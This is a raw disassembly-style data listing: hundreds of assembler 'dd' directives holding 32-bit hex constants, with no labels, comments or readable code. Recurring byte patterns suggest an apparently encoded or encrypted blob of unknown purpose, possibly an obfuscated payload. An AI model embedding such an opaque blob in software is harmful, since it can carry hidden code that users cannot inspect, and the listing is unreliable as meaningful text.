		dd 0BAB1CBF7h, 0D62D8236h, 0AEB1538Fh, 57BADA36h, 0A46D3256h
		dd 779D451Eh, 6E5C03CEh, 2F66B954h, 3CD8D0D7h, 5DD04AC3h
		dd 4C305256h, 46C212D6h, 0CAA2FBD6h, 0D5B13ABFh, 0B619C356h
		dd 0A02F5219h, 0B5B132F4h, 5DB13EDCh, 0A83E3D56h, 58B13256h
		dd 0ABB132D6h, 0B5B13256h, 6377C5D7h, 67585875h, 0ECB13256h
		dd 5CD16AEAh, 0EB338D4Ch, 0D9CCB600h, 3B6D8330h, 5ED15301h
		dd 70352A4h, 75B1B459h,	0DBD03256h, 0D7BE3256h,	0AEB13242h
		dd 57B8DA36h, 91BD3256h, 271AD0B6h, 0B23ADFD8h,	14678D59h
		dd 0B1583256h, 99B13256h, 570E2542h, 0E92E3309h, 0AB4DF690h
		dd 0D5BEDB56h, 73BC3256h, 0D28778C6h, 0A6911C9Eh, 17F57469h
		dd 0CEB13264h, 0FC5CFAD7h, 0ABD062F1h, 5ED75256h, 0EAB1538Ch
		dd 75A6B859h, 0A8583256h, 5EB13256h, 53F7E420h,	0BAD3714Ch
		dd 682D11E1h, 7892E4FBh, 8AB13260h, 0F4D764A3h,	0E0F01780h
		dd 3DB13237h, 8A41B330h, 57BADBECh, 155B3256h, 9B2BD33Dh
		dd 893B1438h, 75B15308h, 0E4E16136h, 3C18870Eh,	0AEB121BFh
		dd 0C1F4F056h, 0F6930AB5h, 0B3D0D316h, 7B232344h, 0C32A428Ah
		dd 3DBE3256h, 5DB13259h
		dd 0AEB138BFh, 15B0CA56h, 949135D6h, 0D56CE36Ch, 8CD1CA56h
		dd 0FABECADDh, 0BAB13254h, 5DD05336h, 0AF303D56h, 0AFB13256h
		dd 0CBD13256h, 0F47BB330h, 8B6EB973h, 75B7BA59h, 39BE3256h
		dd 5DB13256h, 0AEB1C737h, 57B0B559h, 0AB4D3256h, 0D2383D56h
		dd 0E5B13256h, 75B133DFh, 0BAB1CB56h, 5DA1DA36h, 0D5B33256h
		dd 67807779h, 7C551129h, 0AF3300D3h, 33307D4Bh,	6DB2E0BBh
		dd 5805600Eh, 5DB15308h, 0AEB13BBFh, 7AC9C156h,	447A5BEDh
		dd 0D5B125CDh, 0EAB4BA59h, 0FFD13256h, 0BAD0CE98h, 5DA0DB56h
		dd 9E813256h, 0FFEF30B2h, 6917DA15h, 9A84399Bh,	0EA8B8675h
		dd 75B1CB56h, 42B132AAh, 50583256h, 8FB13256h, 1A90E340h
		dd 5CDD0061h, 726FEF47h, 0E2583256h, 2AB13256h,	40CE834Dh
		dd 5D7FEEF1h, 0A9363D56h, 58B13256h, 0ABB133DBh, 0D5B1CA56h
		dd 0EAB139BFh, 0A000E356h, 0CADA2DFDh, 0BA857D26h, 47D13256h
		dd 57B13253h, 5BC7B7F5h, 0D5BEDA11h, 0EA6B3256h, 0A72F950Ah
		dd 573ADC59h, 425CA810h, 6E0E3D2Bh, 57B1530Fh, 0ABB123BFh
		dd 0F4C82A56h, 8F803233h, 67B54546h, 0EE69D5A1h, 5DB10964h
		dd 700E3D36h, 57D0F9DDh, 0A6585256h, 0BEB13256h, 4EAAF6ADh
		dd 589BAF22h, 1B93633h,	5DB1CE37h, 0AEB126BFh, 85B63056h
		dd 0AF0BC88h, 3B34F979h, 0F59E8737h, 0EE33DF19h, 0BAB1CBAEh
		dd 0D10B5236h, 46BE32BEh, 57B1325Fh, 674CEAE0h,	0A2890CF0h
		dd 0E5D068CAh, 75B130DCh, 0DB7FB956h, 5D493256h, 0AEB1C756h
		dd 57BBB759h, 0AE583256h, 60B13256h, 0B845505Eh, 7E583256h
		dd 0E4B13256h, 0A6C52B2h, 6A9792A0h, 57B18632h,	0ABA3BF59h
		dd 54BE3256h, 0EAB1325Ah, 75B135BFh, 55AEBD56h,	33820DB9h
		dd 5B483256h, 0BFD13256h, 0ABB13247h, 8464C5C6h, 0FFCD2362h
		dd 8B139048h, 0DDB8F09Ch, 53586C0Bh, 5EB13256h,	529BD7D6h
		dd 18FA5EB0h, 8B0361DEh, 0EAB1538Eh, 75A6BF59h,	0A8583256h
		dd 0CBB13256h, 0AB26612Dh, 6ED325D7h, 699E844h,	0B5EC308Bh
		dd 13B1328Ah, 14D13256h, 0BA4D3256h, 5DB1CB56h,	0AEB1C7AEh
		dd 58B132AEh, 0ABB133D8h, 0D5B1CA56h, 0EAB13CBFh, 8FEFB656h
		dd 4F80C2E6h, 0D13954B1h, 57DA620Eh, 0BE443256h, 0ABB13250h
		dd 0B6D0664Bh, 0EAB13569h, 75B120BFh, 0FBA8DC56h, 0F32E03ECh
		dd 0D6F336Ah, 8E96663Dh, 0AB6E6C75h, 0D5A3DB56h, 9CE63256h
		dd 81E982C4h, 8079B126h, 0FE9B41E2h, 78B31E01h,	574D3256h
		dd 0ABB1CA56h, 2DB132AEh, 0FB583256h, 9B13256h,	84949CF0h
		dd 3B1F9BEBh, 11BD1507h, 607F66D2h, 0AB483256h,	0D5B1CA56h
		dd 0B3E25236h, 147AB930h, 0DAD0E1DCh, 3D6A8036h, 0D7095337h
		dd 36C23E20h, 15D13256h, 8210026Dh, 8B628D59h, 753F3D36h
		dd 8B13256h, 5DB153F2h,	0AEB138BFh, 36720256h, 4D2C2AA6h
		dd 0D50C7E62h, 52445256h, 5777B8Ah, 0DAB13237h,	520EF3D6h
		dd 0AED0CCE1h, 57BCDB56h, 7A823256h, 1CC592E2h,	8D18766Dh
		dd 15512AEBh, 0BAB153AFh, 5DA0DB36h, 0F99C3256h, 0D76C79D0h
		dd 0CCF34C1Eh, 7266541Ah, 6ABD3105h, 75D01FBAh,	5D75256h
		dd 5A597E24h, 29B13256h, 0B8E5C186h, 6F31D0DCh,	0D5D06C70h
		dd 0EB3F3D56h, 89B13256h, 0B5D13256h, 5DB132DAh, 0AED0CA56h
		dd 0E8BE5256h, 0CA62B980h, 0D5BDBB59h, 0ED583256h, 0DB13256h
		dd 7DFEAB84h, 5DB1AFFAh, 47B132AEh, 57B13253h, 913557FBh
		dd 29B132FEh, 62BE3256h, 75B13252h, 0DBD05236h,	0BE3B6236h
		dd 0AEB15308h, 57B6B759h, 1BD13256h, 270E3D34h,	140B5237h
		dd 7A92C61Ch, 0BAD0FDE1h, 5DBFDB56h, 82A93256h,	0A16CCBFBh
		dd 10C93398h, 5CAAE55Ch, 61BEC736h, 75B1324Fh, 0BAB126BFh
		dd 67B3DA56h, 0E206C2D0h, 59167E80h, 0C01CC44Ch, 0A2E9CB38h
		dd 0EAB153EAh, 75BDB059h, 3DBE3256h, 5DB13250h,	0AEB1B559h
		dd 57B13256h, 0ABB121BFh, 24B3DB56h, 6929865Fh,	0E8314A26h
		dd 7E78D588h, 5E09FA97h, 0AE483256h, 443B3D56h,	0A4B13256h
		dd 0D5B13FD6h, 0EAB9DB56h, 72C33256h, 1A4C9694h, 5DB16771h
		dd 7C063D36h, 57B3B859h, 0E3053256h, 20B13237h,	0E1583256h
		dd 0AEB13256h, 4F713DB2h, 8CA11DF6h, 0A258EA0Dh, 0F6B13256h
		dd 7BDD5793h, 345F4B8h,	0EA4A9C32h, 73585256h, 77B13256h
		dd 4777AE6Eh, 0CF43B9E8h, 0D9BE3256h, 0ABB1325Eh, 0D5B3B559h
		dd 8BD13256h, 7AD13256h, 0BAB130D2h, 3CEB6356h,	0BE583256h
		dd 2EB13256h, 3A6BC724h, 2360B702h, 0ADA9D3Ch, 7532C17Bh
		dd 0BABADB56h, 73F23256h, 2EC360BFh, 0B1C1E381h, 42B132F7h
		dd 0D5B1325Fh, 4C694B27h, 0A924A1E4h, 4FB13202h, 0DCD13256h
		dd 40066086h, 57BBDA4Bh, 46EE3256h, 0B8058E84h,	0A623888Eh
		dd 75B1530Ch, 42B132AFh, 54583256h, 73B13256h, 0B029AA45h
		dd 71D47105h, 9FB08A36h, 55D71C45h, 75D0CA26h, 0BAB1CE56h
		dd 5DB1CEAEh, 0AEB9BB59h, 0D6D13256h, 0CA1F4FA1h, 0D5B15342h
		dd 0EAB15336h, 75BDBD59h, 37BE3256h, 5DB13250h,	0AEB1B859h
		dd 46583256h, 10B13256h, 5E48E128h, 9E849C20h, 628D56DAh
		dd 0B1103721h, 5A583256h, 99B13256h, 6E40A067h,	0ABB1D491h
		dd 545B236h, 0EAA9BD59h, 66583256h, 0EAB13256h,	4395AC77h
		dd 320672B5h, 0BF60CD01h, 4387D7C2h, 0D5D0AB95h, 0EAB7DB56h
		dd 840B3256h, 318C7887h, 0D1BE3256h, 0AEB1325Ah, 57B7B159h
		dd 29BE3256h, 0D5B13256h, 62BE3256h, 75B13257h,	53B132A3h
		dd 5DB13253h, 0D215A80h, 0DCD152A3h, 523A54AEh,	0D5B1DA37h
		dd 6BEB3256h, 5B3EEBBCh, 0BABCDB50h, 70343256h,	0C32CBB90h
		dd 4225EA71h, 0CBA80EB0h, 0DA67B930h, 0EAB131D6h, 0F353B256h
		dd 3334BF37h, 0B4B71FC6h, 0AEB13259h, 7E0D4F44h, 0B3718EC8h
		dd 0CD32F2DBh, 0E51E86E0h, 75B13BD3h, 0A1095256h, 0CA92D30h
		dd 2C385309h, 519F480Ah, 0BA313D36h, 3CB13256h,	0EAB1325Ah
		dd 48435AEEh, 0EA4EE2F5h, 8B2187FEh, 0AEB5B259h, 0EFD73256h
		dd 0CBD01D5Eh, 5BBEE1DDh, 0EAB13254h, 0F8D05336h, 95E1B8D4h
		dd 45383D50h, 47B13256h, 57B13245h, 83288775h, 3E1FE634h
		dd 6F627811h, 74E86570h, 3388C887h, 73CB40D4h, 2ABE5250h
		dd 57B13252h, 0F1508C30h, 3DD0E8E2h, 0EAB1070Dh, 75BDB359h
		dd 38BE3256h, 5DB13250h, 0AEB1B559h, 25593256h,	0CBB13254h
		dd 7152CFEDh, 0E8363D3Ch, 0C5B13256h, 387653CEh, 5B9F4BA4h
		dd 0AEB13256h, 57B120BFh, 0BDA55756h, 0EFFDE958h, 10149A76h
		dd 0FADD58E3h, 0E8B0F6DFh, 5DA2BC59h, 0A0583256h, 0CBB13256h
		dd 0C140D7B7h, 0CE193496h, 4445EC4Eh, 5034F49Dh, 0ECB71A5Bh
		dd 0E5E35AAFh, 23BEAEFEh, 57B13247h, 0ABB13EBFh, 0FA43C056h
		dd 2C9BA04h, 566E5FD3h,	0B704CD52h, 3DB71A42h, 23278B04h
		dd 58EE7F96h, 0ABB137D1h, 93078856h, 67D01C4Ch,	5EDE6AD3h
		dd 0BD343D50h, 52B13256h, 0AEB133DEh, 0A848C756h, 0AE3C3D86h
		dd 0B5B13256h, 8BE8DCD6h, 7A2CB7DFh, 0D048347Eh, 5A393D52h
		dd 0A1B13256h, 57B133DAh, 0ABD9CE56h, 2DB13246h, 0E9BC723Eh
		dd 0C2BE5256h, 180F5486h, 5DDB53ABh, 6C3B5236h,	92E58A30h
		dd 0A93E3D37h, 5FB13256h, 3A4E539Ah, 23338536h,	0BAB122BEh
		dd 169A2D56h, 0FF139556h, 218BE03Dh, 4DB7D4A9h,	0B4EA6DB9h
		dd 0EAB121BFh, 63629F56h, 0B77E1355h, 36E68A3Ah, 2F6FDD3Eh
		dd 1C54316Ch, 0A4D1520Ch, 0D5B132D6h, 3F68B256h, 14EB6437h
		dd 3EBEF25Dh, 5DB132A5h
		dd 0AEB4B659h, 0ABD13256h, 22D0E3DDh, 0FBC8C0D4h, 0FC313D50h
		dd 9CB13256h, 0BAB13247h, 733F87B0h, 23998818h,	1D644406h
		dd 57131A8Fh, 0C633BB19h, 13B71C2Ch, 76BC72EFh,	0BB343D56h
		dd 0A8B13256h, 0A458CADDh, 0FEB13256h, 116203F0h, 2806952Dh
		dd 3710197h, 75B1325Ah,	2EEABFA3h, 0B5534598h, 0ADC8F899h
		dd 0ABD198A5h, 0C1496037h, 0D5D9C752h, 0E5B13246h, 75B139DBh
		dd 0BAB7DB56h, 1A713256h, 5222991Fh, 57B0B859h,	0C3443256h
		dd 0D5B13656h, 0EAB0BC59h, 1F493256h, 0BAB9DB56h, 9E33256h
		dd 499976DAh, 0C54EF0F5h, 0AD993DCBh, 0D5B8B359h, 8CD13256h
		dd 2FD7F0D7h, 53D0E5DDh, 5DB13245h, 0E98A709Ch,	0A3F6B74Ch
		dd 0D3EE2877h, 1E1AF32Fh, 0B098AE87h, 0C333BBAAh, 53B71C2Ah
		dd 5DB13245h, 6E8BDECBh, 8E8A5EE0h, 19627B49h, 0CC15DC88h
		dd 8B57FA39h, 75B122BFh, 36282356h, 0AEC520CDh,	0E3DEB6EEh
		dd 937D6973h, 7A30524Ch, 0D2F8553Fh, 0EAB13FBFh, 0D957F756h
		dd 4ADE43E4h, 3623C130h, 25D0DB73h, 79C8C0D3h, 0A7343D50h
		dd 0DAB13256h, 0EAB134DFh, 75313D56h, 79B13256h, 52D152AAh
		dd 2FD7ECE9h, 36B143B5h, 0BD44B091h, 0D5B1347Eh, 6CBE3216h
		dd 75B1325Ah, 0BAB135BFh, 0DF45A056h, 4A8102CAh, 57D4B091h
		dd 0BBB1347Eh, 0DD583256h, 65B13256h, 0DE3601D0h, 0DB8768B7h
		dd 3D44F1AFh, 0AEB123BFh, 83031356h, 0E71A36A8h, 448E2F3Ch
		dd 916A8951h, 0CF3ACF70h, 0BC9F4BA4h, 5D8EB1AFh, 0AE7CB659h
		dd 0DCD13256h, 0CAA584ACh, 0D7A14DD5h, 0EAD4B659h, 7C583256h
		dd 0CBB13256h, 0EF17EA2Fh, 0FA6DA7C5h, 53A14DD5h, 0ABC3B659h
		dd 5DBE3256h, 0EAB13248h, 75A9B759h, 0A9583256h, 23B13256h
		dd 28242FCEh, 98A29CFh,	7ABA7BB1h, 0D083B40Ah, 6948AF68h
		dd 7A582691h, 30B13256h, 0CFE25A09h, 7F2363DDh,	15DA93B3h
		dd 25582F04h, 3C4ECDA9h, 0EAB13251h, 44A7738Bh,	7D3C16F5h
		dd 5DB02211h, 0A8583256h, 51B13256h, 672965F9h,	2A70DBA5h
		dd 6BBECDA9h, 75B1325Eh, 0BAB3B859h, 3CD13256h,	0ADA17591h
		dd 58B13256h, 0ABB13AD3h, 0D3B5256h, 35DB8B30h,	75A2DB37h
		dd 6C043256h, 0D4E9B96Dh, 5BF50519h, 7DA62B2Ah,	0D1167A09h
		dd 2A30DB16h, 8B4DCDA9h, 75B13FBFh, 78A1D856h, 0A48CF2D1h
		dd 635C829Bh, 0BE725E8Ah, 0ABB1325Dh, 2CEB61Eh,	5EBF0BE0h
		dd 2042FDB1h, 63305436h, 0D6D065B4h, 47D1CBBAh,	57B13250h
		dd 0EEEFDB54h, 0D55967ACh, 0B0B13256h, 0E12BD8D7h, 0A9583478h
		dd 0EEB13256h, 3A77BC4Bh, 202C291Dh, 0B27FACBDh, 634DC37h
		dd 0EF582ED8h, 2EB13256h, 0B0D6029Fh, 5DB8B459h, 2ED13256h
		dd 0EFD78E83h, 20D0435Eh, 0FBCDD2E4h, 0EAB8DB50h, 0B87C3256h
		dd 519D1C6Ah, 0D6C9DFABh, 27483A13h, 4758CB50h,	51B13256h
		dd 8BABD49Dh, 0D0941066h, 807B9139h, 390C8A74h,	73CDD2D4h
		dd 0A6583650h, 0C5B13256h, 0FBC2884Dh, 0B43CF16Ah, 0EAB13ABFh
		dd 28F1BB56h, 2D8F8D70h, 9F4DFB10h, 28BE3252h, 57B13242h
		dd 0ABB13DBFh, 0DCA52456h, 0FF470087h, 65A444C6h, 0B864CCD1h
		dd 5DB0BA59h, 0CE4D3256h, 57B122BFh, 7F649256h,	201AE91Dh
		dd 26F80C4Fh, 0C2D5D784h, 0BA59C746h, 7B13256h,	3BD7D8D7h
		dd 5F583478h, 0A6B13256h, 0F5B4A69Eh, 1FEBEADBh, 90780DDh
		dd 814D3478h, 73CDD2E4h, 13353D50h, 0BEB13257h,	0ABB13251h
		dd 2285EDBEh, 61B8069Fh, 74323D68h, 42B13256h, 0D9BEEDDDh
		dd 0AEB13253h, 0FE6CA36h, 0E4073D37h, 0D3323D57h, 8AB13256h
		dd 0BA3A54AAh, 0BBF6C437h, 0F343DD6h, 47B13256h, 57B1325Bh
		dd 9535EBE8h, 996D3D8h,	4F036A18h, 1568312Ah, 0BAB135BFh
		dd 585A056h, 0E2B3A03Eh, 57B13EBFh, 57831556h, 306E2D29h
		dd 0AEC8E7B9h, 5E585311h, 42B13256h, 5DA2B059h,	47D13256h
		dd 57B1325Dh, 6B7700D7h, 0D980BB14h, 12F747B7h,	8C681937h
		dd 0BAB9B459h, 0DCD13256h, 0E15B588h, 37F2534Eh, 43618D59h
		dd 0D5B13259h, 0F7F744A5h, 4219F075h, 1335F071h, 0DD1AF7F1h
		dd 0CFEE75B6h, 0DCD75236h, 0A75953AFh, 0E3B13256h, 0BDA8CBCh
		dd 53DF7CCCh, 0DAEF51DCh, 1ED06937h, 0AB303D36h, 0ECB13256h
		dd 0A19C7EDAh, 0B460B930h, 0EEA0B7DDh, 0F1BE347Eh, 0BAB1324Eh
		dd 5DB121BFh, 0F8BF9956h, 0DD96269h, 79ECE631h,	0C9B0B8DAh
		dd 0B37CAA18h, 7508BFDDh, 0BD58347Eh, 30B13256h, 0C4433D70h
		dd 8F8A8015h, 0ABDBB059h, 0D9583256h, 0ABB13256h, 8F0116BEh
		dd 5E416F44h, 3D262194h, 0FD438559h, 36E86B05h,	2CBEEB6Dh
		dd 0D5B1321Eh, 0EABBBC59h, 70583256h, 63B13256h, 65D0C9E0h
		dd 0CEB5F4D5h, 57B2B759h, 20D73256h, 54BE6086h,	0EAB13256h
		dd 9C4D5308h, 454ECC29h, 5DA7B059h, 0BF583256h,	0A8B13256h
		dd 0F04108AAh, 8403FEFFh, 2EBF3B8Dh, 5B30B85Ah,	3EBEFD6Dh
		dd 5DB13272h, 0AEB13ABFh, 8D83FF56h, 1CAD6A1Eh,	6C0CBB8Eh
		dd 1FB71A56h, 8A4F09BFh, 0BAB7DBA9h, 93023256h,	0BF0B1342h
		dd 57A0DB37h, 0BCB23256h, 0F51E2B32h, 2A2B0941h, 19B4AA80h
		dd 43CEB926h, 0D6485295h, 0CED153AEh, 0D7718D59h, 43D04EA4h
		dd 0D5B13256h, 9D5BB30Ch, 15B71CC1h, 0BAB7BA59h, 92303256h
		dd 0A139B4E0h, 3669B930h, 0F96E8336h, 0D5B13ABEh, 4AD7BD56h
		dd 0F531D720h, 0DBE86D83h, 210788DDh, 26BE3478h, 57B13244h
		dd 0ABB13FBFh, 4E9B8956h, 0F0CB3396h, 80B9DC6Ch, 0BA08710Eh
		dd 0A8B13257h, 0A758F265h, 99B13256h, 13DFFA31h, 0AFB2B32Fh
		dd 0F85899A5h, 94B13256h, 0A2F2AA22h, 0AD1C3F20h, 203B4142h
		dd 0E5ED0F23h, 0ABBFDB97h, 4FA83256h, 1E528080h, 424D98CBh
		dd 254ECBDh, 2107B0DDh,	27493478h, 79CDD2D4h, 0ABBCDB50h
		dd 19FF3256h, 0E094401Fh, 0FEFA16C7h, 4FEA609Eh, 0A172CB37h
		dd 0AE59C736h, 0DB13256h, 339FD8D7h, 54D13478h,	0C62C6380h
		dd 6658533Ah, 38B13256h, 0A0348h, 7306B5A9h, 11A9C182h
		dd 0E3BDF089h, 5077DE9Ch, 0EC993F73h, 75BFDB00h, 61263256h
		dd 9D462751h, 530A239Bh, 21FC94EBh, 0B4DC0B3Eh,	0D5B8DB82h
		dd 0ED0C3256h, 0BD3DAA41h, 53D424CBh, 5DB1325Ch, 98087DFDh
		dd 7DF1F202h, 1E4E1184h, 0D399265Bh, 0EAA5BF59h, 7A583256h
		dd 0CB13256h, 0DCC2CC0h, 0D7F0C490h, 0BB031BDEh, 2E3C2517h
		dd 0D39A5D0Eh, 0EABAB659h, 0F4D13256h, 3B5C5B9Dh, 867EB25Ah
		dd 4761CD37h, 57B13246h, 0EA0409DEh, 9DC42E8h, 6D8105Ah
		dd 0EF3B4530h, 0B4585204h, 0F8B13256h, 0A93A4A27h, 413B7993h
		dd 0CBE4E522h, 1B3A54F2h, 12E1CA37h, 0A10ECA36h, 0DBD22BA8h
		dd 5D31323Eh, 16D75256h, 5D59C908h, 0FDB13256h,	4C40C082h
		dd 5678BDFAh, 2FE68723h, 0BADBCB37h, 5DB13DBFh,	995CD056h
		dd 93139204h, 7203D6F6h, 3C49BF16h, 934380A9h, 0FABE3478h
		dd 0BAB13258h, 5DB13BBFh, 853A6E56h, 885AB4A1h,	7B4EFA87h
		dd 0C140B336h, 8BD5641Ch, 723D3D0Eh, 0B5B13256h, 5DB133D9h
		dd 47D1CE56h, 57B13259h, 4FD79Ah, 0D6429F18h, 576C643Ah
		dd 14EE5810h, 0BABDDB0Ch, 33083256h, 0AD835E09h, 2373050Bh
		dd 0ABD90BF5h, 0DAB132D6h, 0EAB133DCh, 75DBCB56h, 0BAB6B459h
		dd 0D6BE3256h, 0AEB13257h, 0E103CDAFh, 42B71C2Ah, 0D5B1325Fh
		dd 1E3A7544h, 0B2CA2893h, 4261CD5Eh, 5DBCDB37h,	0AF53256h
		dd 0EBA83D9h, 5E98F70Bh, 1646A399h, 60D167AEh, 0A5E88A3h
		dd 31D04623h, 5DBFDBBAh
		dd 9D113256h, 776C19AFh, 0D456463h, 0BAA0480h, 0EAA0DB36h
		dd 0AAA53256h, 0DC211796h, 95768945h, 0D01D198h, 0AFD76783h
		dd 0ABB132BEh, 3F306856h, 0EC9FA842h, 75B120BFh, 0A28A7F56h
		dd 0E10652A8h, 0C5FAF6FDh, 0F224E08Ah, 0A466A553h, 0D5B13AD7h
		dd 0E8333D56h, 15B13256h, 0B2C4B937h, 0D6D76036h, 11BE6C95h
		dd 3559539Eh, 42B13258h, 0D5B13244h, 5A675A3Ah,	5929850Ah
		dd 6744B57Bh, 43B460CCh, 2DBE9AC4h, 57B13257h, 21D167AFh
		dd 2330548Bh, 8AD0F999h, 0CDE5D9D6h, 0F33EA663h, 123CD37h
		dd 0CEB71C2Ch, 0FC63B3AFh, 0CAA0116Ch, 0D258520Bh, 0A7B13256h
		dd 0BDDF6ADCh, 81D06069h, 0D8BE3E23h, 514ECDF4h, 59B2DAAAh
		dd 28BE3256h, 0D5B13251h, 0EAB0B059h, 14483256h, 0BF3D3DAEh
		dd 3DB13256h, 0CF738D59h, 7E0E529Fh, 0CAD18AB7h, 3CB13A94h
		dd 0EAB13259h, 685398D5h, 0EE06BA71h, 20F89345h, 0FBF99837h
		dd 585DB9AEh, 0ABB135D4h, 62BE5256h, 8BEE6486h,	154DF6D5h
		dd 0DB69B9A3h, 4E585200h, 0FDB13256h, 0E270691Eh, 0F05E3959h
		dd 542FC6D8h, 0D9117BACh, 7E5919AFh, 85B13256h,	0B32F3956h
		dd 24F53432h, 0D9BE4FFFh, 0ABB13256h, 0DAE6530Eh, 0EAB129D5h
		dd 61585256h, 0D2B13256h, 42BA6D75h, 33E71EDDh,	4E8E6792h
		dd 28D6AD96h, 0B421D467h, 0E058C705h, 0EEB13256h, 53BBA3h
		dd 3419E602h, 0AEB1DADCh, 0D6EB3256h, 852A5FBCh, 56BEC750h
		dd 0EAB13258h, 75B13BBFh, 0F76CD456h, 6A958FCDh, 0DB3AF3D5h
		dd 5B363D5Eh, 0A4B13256h, 0D5B134D9h, 0EA3E3D56h, 0FEB13256h
		dd 0ED48222Bh, 524D64AFh, 0AEB13FD6h, 57B9DB56h, 15963256h
		dd 0F49F99C8h, 0A55931DAh, 89B13257h, 3EBEF25Dh, 5DB1328Bh
		dd 0AEB120BFh, 2E3C4156h, 0C22ED09Ah, 7C5A5A11h, 3F39E7EAh
		dd 0FEA4523Ah, 3BD752AEh, 3BB6EAA0h, 0CF0DD7EFh, 0C54EC703h
		dd 0AD9F480Ah, 5ABE6FA3h, 0EAB13258h, 75B13BBFh, 0AAF11456h
		dd 3403660Eh, 0DB8A244Ah, 0C5353D5Ah, 52B13256h, 0DAAFB930h
		dd 0EAB135D8h, 74313D56h, 46B13256h, 3D41D5D6h,	0AEBEDAAEh
		dd 0CE2B3256h, 0B11E4151h, 5FA8EB8Bh, 0C92C9D3Ah, 2EDB8614h
		dd 0DAAFB837h, 5DA2BA59h, 0A3593256h, 0A3B13256h, 49B19296h
		dd 28ECB3DDh, 669255A9h, 75B6DB0Dh, 75BF3256h, 0ACA40346h
		dd 4D31536Ch, 5158CEA6h, 13B13256h, 185D0C24h, 0CF71DAD3h
		dd 73583256h, 29B13256h, 445A0A94h, 51A4DBB2h, 0D5BECDA9h
		dd 0ABB13246h, 0D5B139BFh, 27CFBF56h, 74128E39h, 4E9B98ADh
		dd 0A1CCBBAAh, 5808DAAEh, 0D6BECDA9h, 0ABB13242h, 0D5B6DA36h
		dd 26F13256h, 0F052CB6Dh, 0B00A6BE0h, 3CABA130h, 0A1EECE0Dh
		dd 57B13ED3h, 0AD393D56h, 0DAB13256h, 0EAB132D8h, 73586C56h
		dd 1CB13256h, 0BD6A500Fh, 52F4B92Bh, 57B13CBFh,	64029256h
		dd 0BE2DB9h, 7F873ACFh,	0BCD9E037h, 0BABDF0AAh,	5DB137BFh
		dd 0AB7C5E56h, 0BEE4E959h, 0ABB13247h, 2661B504h, 83BDD02h
		dd 0F4A0616Bh, 54B4503Dh, 45323DB7h, 47B13256h,	57B13245h
		dd 2C2E12F1h, 0A2EB2A41h, 0F6BEC298h, 96061F8Ah, 31C968BDh
		dd 390352BAh, 0CF608559h, 0AF49F6D5h, 0A4E7CA01h, 0D5B133D0h
		dd 12E0C756h, 75B7DB05h, 983F3256h, 5AEEFDF5h, 0AE497791h
		dd 37B13256h, 0ABB135BFh, 0B1503F56h, 0BBE24F65h, 75B122BEh
		dd 66E93A56h, 0E73FBB5Fh, 704BD63Eh, 0CAE18870h, 0AB323D78h
		dd 8BB13256h, 0EB393D37h, 8CB13256h, 0C14FB091h, 5DB03478h
		dd 23BE3256h, 57B1325Ah, 0ABB7B059h, 5FBE3256h,	0EAB13256h
		dd 75B0BD59h, 31443256h, 3B493A23h, 2BBE2CDDh, 57B1324Dh
		dd 0ABA4BC59h, 0C5583256h, 0A7B13256h, 186018DFh, 0FFF93F25h
		dd 79AF0D72h, 25D583C8h, 79C8C0ECh, 0ABB9DB50h,	0DF1E3256h
		dd 1D451FC5h, 2A3A305Fh, 0B5D1525Eh, 0EABEEBE1h, 52E7538Fh
		dd 8CBA530Eh, 0ABD7B659h, 5EBE3256h, 0EAB13257h, 7A6F09A3h
		dd 0BAB12CD3h, 5C323D56h, 5BB13256h, 0AFBD6FDDh, 42BD6DDFh
		dd 0D5B1325Dh, 692B261Fh, 38D1062Ch, 39D56AD6h,	0D1BE2691h
		dd 0AEB13245h, 57B13CBFh, 5BD63456h, 81BB14B8h,	3A717632h
		dd 9CD328C4h, 454ECDCCh, 5DB121BFh, 0E5798856h,	12F86B19h
		dd 0A6041DFDh, 775011BCh, 2D5E556Dh, 7AAFB930h,	0BAB13EDFh
		dd 5B383D56h, 0A1B13256h, 57B132DFh, 434AB256h,	0D63AB659h
		dd 0EF583256h, 0D0B13256h, 0DA5C6754h, 5258C9D6h, 0AEB24AD2h
		dd 0AC31C756h, 0C5353DBDh, 20B13255h, 0E553C9D6h, 75B27BD2h
		dd 0AC343D56h, 52B13256h, 0AEB122DAh, 57BADB56h, 153D3256h
		dd 81466BC3h, 0E1E2DD85h, 964AB2D5h, 0B9B2B659h, 0B5D13256h
		dd 0AEB13250h, 93778CC9h, 2BEE3B52h, 0B3D0769Fh, 9D6C9D7h
		dd 76B9B659h, 34BE3256h, 5DB1325Dh, 0AE3B3D36h,	31B13256h
		dd 2BD0C9DDh, 5DBEC2B1h, 0EAB1325Eh, 75B3B359h,	0DBD13256h
		dd 524AB330h, 58353DD6h, 0AEB13254h, 0CB41D1D6h, 1A30FDDDh
		dd 0BC91751Dh, 54AB237h, 0B86EB659h, 52583256h,	59B13256h
		dd 271CBF89h, 330269B4h, 0DF7DB36Eh, 61D77364h,	75B8DB48h
		dd 0BB433256h, 389D22E2h, 2E4E8D3Bh, 0D3BECAB5h, 0ABB13257h
		dd 6D4AB2AFh, 0EB2BB659h, 0FFD13256h, 843153B3h, 0D0353D53h
		dd 0A1B13257h, 57B133D7h, 9531CE56h, 0A8353D7Bh, 1FB13257h
		dd 7AD90CD6h, 0BAB041D2h, 0DF4ECA56h, 0A89F49A8h, 493A54A3h
		dd 0ABA7BD59h, 0C4583256h, 29B13256h, 4398D67Bh, 84CC4692h
		dd 0A84A2813h, 0BEA67DBFh, 0BE49D5D6h, 0ABB13253h, 0C5DD9774h
		dd 11305482h, 0F1BEDAD7h, 0BAB13362h, 5B313D36h, 0A1B13256h
		dd 57B132D1h, 0ABA5DB56h, 0B84F3256h, 5BA7F31Ch, 66197CBAh
		dd 0A913BBE3h, 0D0EC2321h, 0C8D038E5h, 31D12CDDh, 5EF494EEh
		dd 2556B237h, 0EAA2DBA3h, 0ADB03256h, 0E146D408h, 9DFBEA0h
		dd 0B25FF4AEh, 0C56B2EDBh, 503054FAh, 51BEF2D7h, 0EAB1328Ah
		dd 7A5852AFh, 0DDB13256h, 0D5BDB052h, 51B24634h, 0D9399A7Bh
		dd 42E4571Dh, 0D5B13258h, 6FDA00F2h, 2AF95518h,	3B7B1D0h
		dd 0D3BE6BB9h, 0AEB1325Fh, 0B7305436h, 643A9893h, 8923CD37h
		dd 8AB71C2Ch, 75B139BFh, 0FB1A1556h, 0C183B582h, 0F1FA8A96h
		dd 0AD0FDDDh, 0ABBAB659h, 55D13256h, 6FBE76A2h,	75B13256h
		dd 32BE5237h, 5DB13256h, 52F4BB37h, 9D3B52AFh, 0ABB13FBEh
		dd 0DA671356h, 3B69E874h, 0F7C43705h, 31D7AF85h, 3CD0688Eh
